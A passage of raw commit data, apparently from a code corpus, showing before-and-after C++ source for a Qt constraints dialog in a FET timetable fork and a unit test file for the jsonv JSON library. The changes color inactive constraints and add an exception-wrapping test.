SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(modifyConstraint()));\n\tconnect(helpPushButton, SIGNAL(clicked()), this, SLOT(help()));\n\n\tQShortcut* shortcut = new QShortcut(QKeySequence(Qt::Key_Delete), constraintsListWidget);\n\tconnect(shortcut, SIGNAL(activated()), this, SLOT(deleteItem()));\n\n\tcenterWidgetOnScreen(this);\n\n\tmodifyConstraintPushButton->setEnabled(false);\n\tremoveConstraintPushButton->setEnabled(false);\n\tcommentsPushButton->setEnabled(false);\n\tactiveCheckBox->setEnabled(false);\n\/\/\tpopulateFilters();\n\/\/\tfilterChanged();\n}\n\nConstraintBaseDialog::~ConstraintBaseDialog()\n{\n\tdelete filterWidget;\n}\n\nvoid ConstraintBaseDialog::setFilterWidget(QWidget *widget)\n{\n\tif (filterWidget != nullptr) {\n\t\trightVerticalLayout->removeWidget(filterWidget);\n\t}\n\tfilterWidget = widget;\n\tif (widget != nullptr) {\n\t\trightVerticalLayout->addWidget(widget);\n\t}\n}\n\nvoid ConstraintBaseDialog::filterChanged()\n{\n\t\/\/ The clear order matters.\n\t\/\/ When clearing QListWidget, it emits currentRowChanged signal that\n\t\/\/ with index 0 and QList size 0 also if in the inverse clearing order.\n\t\/\/ Better solution: use model-view concept instead of this approach.\n\t\/\/ Or may just use QObject::blockSignals(bool)\n\tconstraintsListWidget->clear();\n\tvisibleConstraintsList.clear();\n\n\tfillConstraintList(visibleConstraintsList);\n\n\tif(constraintsListWidget->count()>0)\n\t\tconstraintsListWidget->setCurrentRow(0);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::constraintChanged(int index)\n{\n\tif(index<0){\n\t\tcurrentConstraintTextEdit->setPlainText(\"\");\n\t\tmodifyConstraintPushButton->setEnabled(false);\n\t\tremoveConstraintPushButton->setEnabled(false);\n\t\tcommentsPushButton->setEnabled(false);\n\t\tactiveCheckBox->setEnabled(false);\n\t\tactiveCheckBox->setChecked(false);\n\t\treturn;\n\t}\n\n\tassert(index<this->visibleConstraintsList.size());\n\tQString s=getConstraintDetailedDescription(visibleConstraintsList.at(index));\n\tcurrentConstraintTextEdit->setPlainText(s);\n\tmodifyConstraintPushButton->setEnabled(true);\n\tremoveConstraintPushButton->setEnabled(true);\n\tcommentsPushButton->setEnabled(true);\n\tactiveCheckBox->setEnabled(true);\n\tactiveCheckBox->setChecked(isConstraintActive(visibleConstraintsList.at(index)));\n}\n\nvoid ConstraintBaseDialog::addConstraint()\n{\n\tQDialog *form = createAddDialog();\n\/\/\tsetParentAndOtherThings(form, this);\n\tform->exec();\n\tdelete form;\n\n\tfilterChanged();\n\n\tconstraintsListWidget->setCurrentRow(constraintsListWidget->count()-1);\n}\n\nvoid ConstraintBaseDialog::modifyConstraint()\n{\n\tint valv=constraintsListWidget->verticalScrollBar()->value();\n\tint valh=constraintsListWidget->horizontalScrollBar()->value();\n\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\n\tQDialog *form = createModifyDialog(ctr);\n\/\/\tsetParentAndOtherThings(form, this);\n\tform->exec();\n\tdelete form;\n\n\tfilterChanged();\n\n\tconstraintsListWidget->verticalScrollBar()->setValue(valv);\n\tconstraintsListWidget->horizontalScrollBar()->setValue(valh);\n\n\tif(i>=constraintsListWidget->count())\n\t\ti=constraintsListWidget->count()-1;\n\n\tif(i>=0)\n\t\tconstraintsListWidget->setCurrentRow(i);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::removeConstraint()\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\tQString s;\n\ts=tr(\"Remove constraint?\");\n\ts+=\"\\n\\n\";\n\ts+=getConstraintDetailedDescription(ctr);\n\n\tQListWidgetItem* item;\n\n\tswitch( LongTextMessageBox::confirmation( this, tr(\"FET confirmation\"),\n\t\ts, tr(\"&Yes\"), tr(\"&No\"), 0, 0, 1 ) ){\n\tcase 0: \/\/ The user clicked the OK button or pressed Enter\n\t\tif (!beforeRemoveConstraint())\n\t\t\tbreak;\n\n\t\tdoRemoveConstraint(ctr);\n\n\t\tvisibleConstraintsList.removeAt(i);\n\t\tconstraintsListWidget->setCurrentRow(-1);\n\t\titem=constraintsListWidget->takeItem(i);\n\t\tdelete item;\n\n\t\tafterRemoveConstraint();\n\n\t\tbreak;\n\tcase 1: \/\/ The user clicked the Cancel button or pressed Escape\n\t\tbreak;\n\t}\n\n\tif(i>=constraintsListWidget->count())\n\t\ti=constraintsListWidget->count()-1;\n\tif(i>=0)\n\t\tconstraintsListWidget->setCurrentRow(i);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::editComments()\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\teditComments(ctr);\n\n\tfilterChanged();\n\tconstraintsListWidget->setCurrentRow(i);\n}\n\nvoid ConstraintBaseDialog::toggleActiveConstraint(bool checked)\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\ttoggleActiveConstraint(ctr, checked);\n\n\tfilterChanged();\n\tconstraintsListWidget->setCurrentRow(i);\n}\n\nvoid ConstraintBaseDialog::deleteItem()\n{\n\tQListWidgetItem * item = constraintsListWidget->currentItem();\n\n\tif (item)\n\t\tremoveConstraint();\n}\n\nbool ConstraintBaseDialog::beforeRemoveConstraint()\n{\n\treturn true;\n}\n\nvoid ConstraintBaseDialog::afterRemoveConstraint()\n{\n}\n\nvoid ConstraintBaseDialog::setHelpText(QString msg)\n{\n\thelpPushButton->setHidden(msg.isEmpty());\n\thelpMsg = msg;\n}\n\nvoid ConstraintBaseDialog::help()\n{\n\tLongTextMessageBox::largeInformation(this, tr(\"FET help\"), helpMsg);\n}\n\nQWidget *ConstraintBaseDialog::getFilterWidget() const\n{\n\treturn filterWidget;\n}\n\nvoid ConstraintBaseDialog::setInstructionText(QString msg)\n{\n\tinstructionsLabel->setHidden(msg.isEmpty());\n\tinstructionsLabel->setText(msg);\n}\n<commit_msg>Inactive constraints are listed in different background color<commit_after>\/***************************************************************************\n\t\t\t\t\t\t  constraint_basedialog.cpp  -  description\n\t\t\t\t\t\t\t -------------------\n\tbegin                : 2017\n\tcopyright            : (C) 2017 by Rodolfo RG\n\tThis file is part of a modification of FET timetable (the original is developed by Liviu Lalescu)\n ***************************************************************************\/\n\n\/***************************************************************************\n *                                                                         *\n *   This program is free software: you can redistribute it and\/or modify  *\n *   it under the terms of the GNU Affero General Public License as        *\n *   published by the Free Software Foundation, either version 3 of the    *\n *   License, or (at your option) any later version.                       *\n *                                                                         *\n ***************************************************************************\/\n\n#include \"constraint_basedialog.h\"\n\n#include <QMessageBox>\n#include <QScrollBar>\n#include <QShortcut>\n\n#include <cassert>\n\n#include \"longtextmessagebox.h\"\n\n#include \"centerwidgetonscreen.h\"\n#include \"timetable_defs.h\"\n\nConstraintBaseDialog::ConstraintBaseDialog(QWidget* parent): QDialog(parent),\n\t  filterWidget(nullptr)\n{\n\tsetupUi(this);\n\n\tcurrentConstraintTextEdit->setReadOnly(true);\n\n\tmodifyConstraintPushButton->setDefault(true);\n\n\thelpPushButton->setVisible(false);\n\n\tinstructionsLabel->setVisible(false);\n\n\tconstraintsListWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\tconnect(constraintsListWidget, SIGNAL(currentRowChanged(int)), this, SLOT(constraintChanged(int)));\n\tconnect(addConstraintPushButton, SIGNAL(clicked()), this, SLOT(addConstraint()));\n\tconnect(closePushButton, SIGNAL(clicked()), this, SLOT(close()));\n\tconnect(removeConstraintPushButton, SIGNAL(clicked()), this, SLOT(removeConstraint()));\n\tconnect(modifyConstraintPushButton, SIGNAL(clicked()), this, SLOT(modifyConstraint()));\n\tconnect(commentsPushButton, SIGNAL(clicked()), this, SLOT(editComments()));\n\tconnect(activeCheckBox, SIGNAL(clicked(bool)), this, SLOT(toggleActiveConstraint(bool)));\n\tconnect(constraintsListWidget, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(modifyConstraint()));\n\tconnect(helpPushButton, SIGNAL(clicked()), this, SLOT(help()));\n\n\tQShortcut* shortcut = new QShortcut(QKeySequence(Qt::Key_Delete), constraintsListWidget);\n\tconnect(shortcut, SIGNAL(activated()), this, SLOT(deleteItem()));\n\n\tcenterWidgetOnScreen(this);\n\n\tmodifyConstraintPushButton->setEnabled(false);\n\tremoveConstraintPushButton->setEnabled(false);\n\tcommentsPushButton->setEnabled(false);\n\tactiveCheckBox->setEnabled(false);\n\/\/\tpopulateFilters();\n\/\/\tfilterChanged();\n}\n\nConstraintBaseDialog::~ConstraintBaseDialog()\n{\n\tdelete filterWidget;\n}\n\nvoid ConstraintBaseDialog::setFilterWidget(QWidget *widget)\n{\n\tif (filterWidget != nullptr) {\n\t\trightVerticalLayout->removeWidget(filterWidget);\n\t}\n\tfilterWidget = widget;\n\tif (widget != nullptr) {\n\t\trightVerticalLayout->addWidget(widget);\n\t}\n}\n\nvoid ConstraintBaseDialog::filterChanged()\n{\n\t\/\/ The clear order matters.\n\t\/\/ When clearing QListWidget, it emits currentRowChanged signal that\n\t\/\/ with index 0 and QList size 0 also if in the inverse clearing order.\n\t\/\/ Better solution: use model-view concept instead of this approach.\n\t\/\/ Or may just use QObject::blockSignals(bool)\n\tconstraintsListWidget->clear();\n\tvisibleConstraintsList.clear();\n\n\tfillConstraintList(visibleConstraintsList);\n\n\tif(USE_GUI_COLORS) {\n\t\tfor(int i = 0; i < constraintsListWidget->count(); ++i)\n\t\t{\n\t\t\tQListWidgetItem* item = constraintsListWidget->item(i);\n\t\t\tif (isConstraintActive(visibleConstraintsList[i]))\n\t\t\t\titem->setBackground(constraintsListWidget->palette().base());\n\t\t\telse\n\t\t\t\titem->setBackground(constraintsListWidget->palette().alternateBase());\n\t\t}\n\t}\n\n\tif(constraintsListWidget->count()>0)\n\t\tconstraintsListWidget->setCurrentRow(0);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::constraintChanged(int index)\n{\n\tif(index<0){\n\t\tcurrentConstraintTextEdit->setPlainText(\"\");\n\t\tmodifyConstraintPushButton->setEnabled(false);\n\t\tremoveConstraintPushButton->setEnabled(false);\n\t\tcommentsPushButton->setEnabled(false);\n\t\tactiveCheckBox->setEnabled(false);\n\t\tactiveCheckBox->setChecked(false);\n\t\treturn;\n\t}\n\n\tassert(index<this->visibleConstraintsList.size());\n\tQString s=getConstraintDetailedDescription(visibleConstraintsList.at(index));\n\tcurrentConstraintTextEdit->setPlainText(s);\n\tmodifyConstraintPushButton->setEnabled(true);\n\tremoveConstraintPushButton->setEnabled(true);\n\tcommentsPushButton->setEnabled(true);\n\tactiveCheckBox->setEnabled(true);\n\tactiveCheckBox->setChecked(isConstraintActive(visibleConstraintsList.at(index)));\n}\n\nvoid ConstraintBaseDialog::addConstraint()\n{\n\tQDialog *form = createAddDialog();\n\/\/\tsetParentAndOtherThings(form, this);\n\tform->exec();\n\tdelete form;\n\n\tfilterChanged();\n\n\tconstraintsListWidget->setCurrentRow(constraintsListWidget->count()-1);\n}\n\nvoid ConstraintBaseDialog::modifyConstraint()\n{\n\tint valv=constraintsListWidget->verticalScrollBar()->value();\n\tint valh=constraintsListWidget->horizontalScrollBar()->value();\n\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\n\tQDialog *form = createModifyDialog(ctr);\n\/\/\tsetParentAndOtherThings(form, this);\n\tform->exec();\n\tdelete form;\n\n\tfilterChanged();\n\n\tconstraintsListWidget->verticalScrollBar()->setValue(valv);\n\tconstraintsListWidget->horizontalScrollBar()->setValue(valh);\n\n\tif(i>=constraintsListWidget->count())\n\t\ti=constraintsListWidget->count()-1;\n\n\tif(i>=0)\n\t\tconstraintsListWidget->setCurrentRow(i);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::removeConstraint()\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\tQString s;\n\ts=tr(\"Remove constraint?\");\n\ts+=\"\\n\\n\";\n\ts+=getConstraintDetailedDescription(ctr);\n\n\tQListWidgetItem* item;\n\n\tswitch( LongTextMessageBox::confirmation( this, tr(\"FET confirmation\"),\n\t\ts, tr(\"&Yes\"), tr(\"&No\"), 0, 0, 1 ) ){\n\tcase 0: \/\/ The user clicked the OK button or pressed Enter\n\t\tif (!beforeRemoveConstraint())\n\t\t\tbreak;\n\n\t\tdoRemoveConstraint(ctr);\n\n\t\tvisibleConstraintsList.removeAt(i);\n\t\tconstraintsListWidget->setCurrentRow(-1);\n\t\titem=constraintsListWidget->takeItem(i);\n\t\tdelete item;\n\n\t\tafterRemoveConstraint();\n\n\t\tbreak;\n\tcase 1: \/\/ The user clicked the Cancel button or pressed Escape\n\t\tbreak;\n\t}\n\n\tif(i>=constraintsListWidget->count())\n\t\ti=constraintsListWidget->count()-1;\n\tif(i>=0)\n\t\tconstraintsListWidget->setCurrentRow(i);\n\telse\n\t\tthis->constraintChanged(-1);\n}\n\nvoid ConstraintBaseDialog::editComments()\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\teditComments(ctr);\n\n\tfilterChanged();\n\tconstraintsListWidget->setCurrentRow(i);\n}\n\nvoid ConstraintBaseDialog::toggleActiveConstraint(bool checked)\n{\n\tint i=constraintsListWidget->currentRow();\n\tif(i<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected constraint\"));\n\t\treturn;\n\t}\n\n\tvoid* ctr=this->visibleConstraintsList.at(i);\n\ttoggleActiveConstraint(ctr, checked);\n\n\tfilterChanged();\n\tconstraintsListWidget->setCurrentRow(i);\n}\n\nvoid ConstraintBaseDialog::deleteItem()\n{\n\tQListWidgetItem * item = constraintsListWidget->currentItem();\n\n\tif (item)\n\t\tremoveConstraint();\n}\n\nbool ConstraintBaseDialog::beforeRemoveConstraint()\n{\n\treturn true;\n}\n\nvoid ConstraintBaseDialog::afterRemoveConstraint()\n{\n}\n\nvoid ConstraintBaseDialog::setHelpText(QString msg)\n{\n\thelpPushButton->setHidden(msg.isEmpty());\n\thelpMsg = msg;\n}\n\nvoid ConstraintBaseDialog::help()\n{\n\tLongTextMessageBox::largeInformation(this, tr(\"FET help\"), helpMsg);\n}\n\nQWidget *ConstraintBaseDialog::getFilterWidget() const\n{\n\treturn filterWidget;\n}\n\nvoid ConstraintBaseDialog::setInstructionText(QString msg)\n{\n\tinstructionsLabel->setHidden(msg.isEmpty());\n\tinstructionsLabel->setText(msg);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\file\n *  \n *  Copyright (c) 2015 by Travis Gockel. All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify it under the terms of the Apache License\n *  as published by the Apache Software Foundation, either version 2 of the License, or (at your option) any later\n *  version.\n *\n *  \\author Travis Gockel (travis@gockelhut.com)\n**\/\n#include \"test.hpp\"\n\n#include <jsonv\/parse.hpp>\n#include <jsonv\/serialization.hpp>\n#include <jsonv\/value.hpp>\n#include <jsonv\/detail\/scope_exit.hpp>\n\n#include <cstdint>\n#include <string>\n#include <tuple>\n#include <typeinfo>\n#include <typeindex>\n#include <utility>\n\nnamespace jsonv_test\n{\n\nusing namespace jsonv;\n\nnamespace\n{\n\nstruct unassociated { };\n\nstruct my_thing\n{\n    int a;\n    int b;\n    std::string c;\n    \n    my_thing(const value& from, const extraction_context& cxt) :\n            a(cxt.extract_sub<int>(from, \"a\")),\n            b(cxt.extract_sub<int>(from, \"b\")),\n            c(cxt.extract_sub<std::string>(from, \"c\"))\n    { }\n    \n    my_thing(int a, int b, std::string c) :\n            a(a),\n            b(b),\n            c(std::move(c))\n    { }\n    \n    static const extractor* get_extractor()\n    {\n        static extractor_construction<my_thing> instance;\n        return &instance;\n    }\n    \n    bool operator==(const my_thing& other) const\n    {\n        return std::tie(a, b, c) == std::tie(other.a, other.b, other.c);\n    }\n    \n    friend std::ostream& operator<<(std::ostream& os, const my_thing& self)\n    {\n        return os << \"{ a=\" << self.a << \", b=\" << self.b << \", c=\" << self.c << \" }\";\n    }\n    \n    friend std::string to_string(const my_thing& self)\n    {\n        std::ostringstream os;\n        os << self;\n        return os.str();\n    }\n};\n\n}\n\nTEST(extract_basics)\n{\n    value val = parse(R\"({\n                        \"i\": 5,\n                        \"d\": 4.5,\n                        \"s\": \"thing\",\n                        \"a\": [ 1, 2, 3 ],\n                        \"o\": { \"i\": 5, \"d\": 4.5 }\n                      })\");\n    extraction_context cxt(formats::defaults());\n    ensure_eq(val, cxt.extract<value>(val));\n    ensure_eq(5, cxt.extract_sub<std::int8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int64_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint64_t>(val, \"i\"));\n    ensure_eq(4.5f, cxt.extract_sub<float>(val, \"d\"));\n    ensure_eq(4.5, cxt.extract_sub<double>(val, \"d\"));\n    ensure_eq(\"thing\", cxt.extract_sub<std::string>(val, \"s\"));\n    try\n    {\n        cxt.extract_sub<unassociated>(val, \"o\");\n    }\n    catch (const extraction_error& extract_err)\n    {\n        ensure_eq(path::create(\".o\"), extract_err.path());\n        ensure(extract_err.nested_ptr());\n        \n        try\n        {\n            std::rethrow_exception(extract_err.nested_ptr());\n        }\n        catch (const no_extractor& noex)\n        {\n            ensure_eq(std::string(typeid(unassociated).name()), noex.type_name());\n            ensure(noex.type_index() == std::type_index(typeid(unassociated)));\n        }\n    }\n    \n    try\n    {\n        cxt.extract_sub<int>(val, path::create(\".a[3]\"));\n    }\n    catch (const extraction_error& extract_err)\n    {\n        ensure_eq(path::create(\".a[3]\"), extract_err.path());\n    }\n}\n\nTEST(extract_object)\n{\n    formats fmts = formats::compose({ formats::defaults() });\n    fmts.register_extractor(my_thing::get_extractor());\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    to_string(res);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_with_unique_extractor)\n{\n    formats fmts = formats::compose({ formats::defaults() });\n    fmts.register_extractor(std::unique_ptr<extractor>(new extractor_construction<my_thing>()));\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_search)\n{\n    formats base_fmts;\n    base_fmts.register_extractor(my_thing::get_extractor());\n    formats fmts = formats::compose({ formats::defaults(), base_fmts });\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_with_globals)\n{\n    {\n        formats base_fmts;\n        base_fmts.register_extractor(my_thing::get_extractor());\n        formats::set_global(formats::compose({ formats::defaults(), base_fmts }));\n    }\n    auto reset_global_on_exit = jsonv::detail::on_scope_exit([] { formats::reset_global(); });\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"));\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_coerce)\n{\n    value val = parse(R\"({\n                        \"i\": 5,\n                        \"d\": 4.5,\n                        \"s\": \"10\",\n                        \"a\": [ 1, 2, 3 ],\n                        \"o\": { \"i\": 5, \"d\": 4.5 }\n                      })\");\n    extraction_context cxt(formats::coerce());\n    \n    \/\/ regular\n    ensure_eq(val, cxt.extract<value>(val));\n    ensure_eq(5, cxt.extract_sub<std::int8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int64_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint64_t>(val, \"i\"));\n    ensure_eq(4.5f, cxt.extract_sub<float>(val, \"d\"));\n    ensure_eq(4.5, cxt.extract_sub<double>(val, \"d\"));\n    ensure_eq(\"10\", cxt.extract_sub<std::string>(val, \"s\"));\n    \n    \/\/ some coercing...\n    ensure_eq(\"5\", cxt.extract_sub<std::string>(val, \"i\"));\n    ensure_eq(10, cxt.extract_sub<int>(val, \"s\"));\n}\n\n}\n<commit_msg>Adds unit test to check that extraction_context always throws an extraction_error.<commit_after>\/** \\file\n *  \n *  Copyright (c) 2015 by Travis Gockel. All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify it under the terms of the Apache License\n *  as published by the Apache Software Foundation, either version 2 of the License, or (at your option) any later\n *  version.\n *\n *  \\author Travis Gockel (travis@gockelhut.com)\n**\/\n#include \"test.hpp\"\n\n#include <jsonv\/parse.hpp>\n#include <jsonv\/serialization.hpp>\n#include <jsonv\/value.hpp>\n#include <jsonv\/detail\/scope_exit.hpp>\n\n#include <cstdint>\n#include <string>\n#include <tuple>\n#include <typeinfo>\n#include <typeindex>\n#include <utility>\n\nnamespace jsonv_test\n{\n\nusing namespace jsonv;\n\nnamespace\n{\n\nstruct unassociated { };\n\nstruct my_thing\n{\n    int a;\n    int b;\n    std::string c;\n    \n    my_thing(const value& from, const extraction_context& cxt) :\n            a(cxt.extract_sub<int>(from, \"a\")),\n            b(cxt.extract_sub<int>(from, \"b\")),\n            c(cxt.extract_sub<std::string>(from, \"c\"))\n    { }\n    \n    my_thing(int a, int b, std::string c) :\n            a(a),\n            b(b),\n            c(std::move(c))\n    { }\n    \n    static const extractor* get_extractor()\n    {\n        static extractor_construction<my_thing> instance;\n        return &instance;\n    }\n    \n    bool operator==(const my_thing& other) const\n    {\n        return std::tie(a, b, c) == std::tie(other.a, other.b, other.c);\n    }\n    \n    friend std::ostream& operator<<(std::ostream& os, const my_thing& self)\n    {\n        return os << \"{ a=\" << self.a << \", b=\" << self.b << \", c=\" << self.c << \" }\";\n    }\n    \n    friend std::string to_string(const my_thing& self)\n    {\n        std::ostringstream os;\n        os << self;\n        return os.str();\n    }\n};\n\n}\n\nTEST(extract_basics)\n{\n    value val = parse(R\"({\n                        \"i\": 5,\n                        \"d\": 4.5,\n                        \"s\": \"thing\",\n                        \"a\": [ 1, 2, 3 ],\n                        \"o\": { \"i\": 5, \"d\": 4.5 }\n                      })\");\n    extraction_context cxt(formats::defaults());\n    ensure_eq(val, cxt.extract<value>(val));\n    ensure_eq(5, cxt.extract_sub<std::int8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int64_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint64_t>(val, \"i\"));\n    ensure_eq(4.5f, cxt.extract_sub<float>(val, \"d\"));\n    ensure_eq(4.5, cxt.extract_sub<double>(val, \"d\"));\n    ensure_eq(\"thing\", cxt.extract_sub<std::string>(val, \"s\"));\n    try\n    {\n        cxt.extract_sub<unassociated>(val, \"o\");\n    }\n    catch (const extraction_error& extract_err)\n    {\n        ensure_eq(path::create(\".o\"), extract_err.path());\n        ensure(extract_err.nested_ptr());\n        \n        try\n        {\n            std::rethrow_exception(extract_err.nested_ptr());\n        }\n        catch (const no_extractor& noex)\n        {\n            ensure_eq(std::string(typeid(unassociated).name()), noex.type_name());\n            ensure(noex.type_index() == std::type_index(typeid(unassociated)));\n        }\n    }\n    \n    try\n    {\n        cxt.extract_sub<int>(val, path::create(\".a[3]\"));\n    }\n    catch (const extraction_error& extract_err)\n    {\n        ensure_eq(path::create(\".a[3]\"), extract_err.path());\n    }\n}\n\nTEST(extract_object)\n{\n    formats fmts = formats::compose({ formats::defaults() });\n    fmts.register_extractor(my_thing::get_extractor());\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    to_string(res);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_with_unique_extractor)\n{\n    formats fmts = formats::compose({ formats::defaults() });\n    fmts.register_extractor(std::unique_ptr<extractor>(new extractor_construction<my_thing>()));\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_search)\n{\n    formats base_fmts;\n    base_fmts.register_extractor(my_thing::get_extractor());\n    formats fmts = formats::compose({ formats::defaults(), base_fmts });\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"), fmts);\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_object_with_globals)\n{\n    {\n        formats base_fmts;\n        base_fmts.register_extractor(my_thing::get_extractor());\n        formats::set_global(formats::compose({ formats::defaults(), base_fmts }));\n    }\n    auto reset_global_on_exit = jsonv::detail::on_scope_exit([] { formats::reset_global(); });\n    \n    my_thing res = extract<my_thing>(parse(R\"({ \"a\": 1, \"b\": 2, \"c\": \"thing\" })\"));\n    ensure_eq(my_thing(1, 2, \"thing\"), res);\n}\n\nTEST(extract_coerce)\n{\n    value val = parse(R\"({\n                        \"i\": 5,\n                        \"d\": 4.5,\n                        \"s\": \"10\",\n                        \"a\": [ 1, 2, 3 ],\n                        \"o\": { \"i\": 5, \"d\": 4.5 }\n                      })\");\n    extraction_context cxt(formats::coerce());\n    \n    \/\/ regular\n    ensure_eq(val, cxt.extract<value>(val));\n    ensure_eq(5, cxt.extract_sub<std::int8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint8_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint16_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint32_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::int64_t>(val, \"i\"));\n    ensure_eq(5, cxt.extract_sub<std::uint64_t>(val, \"i\"));\n    ensure_eq(4.5f, cxt.extract_sub<float>(val, \"d\"));\n    ensure_eq(4.5, cxt.extract_sub<double>(val, \"d\"));\n    ensure_eq(\"10\", cxt.extract_sub<std::string>(val, \"s\"));\n    \n    \/\/ some coercing...\n    ensure_eq(\"5\", cxt.extract_sub<std::string>(val, \"i\"));\n    ensure_eq(10, cxt.extract_sub<int>(val, \"s\"));\n}\n\n\/\/ Tests that even if we throw a completely bogus exception type, the extraction_context wraps it in an extraction_error\nTEST(extractor_throws_random_thing)\n{\n    static auto instance = make_function_extractor([] (const value& from) -> unassociated { throw from; });\n    formats locals;\n    locals.register_extractor(&instance);\n    \n    value val = object({ { \"a\", 1 } });\n    \n    extraction_context cxt(locals);\n    ensure_throws(extraction_error, cxt.extract<unassociated>(val));\n    ensure_throws(extraction_error, cxt.extract_sub<unassociated>(val, \"a\"));\n}\n\n}\n<|endoftext|>"}
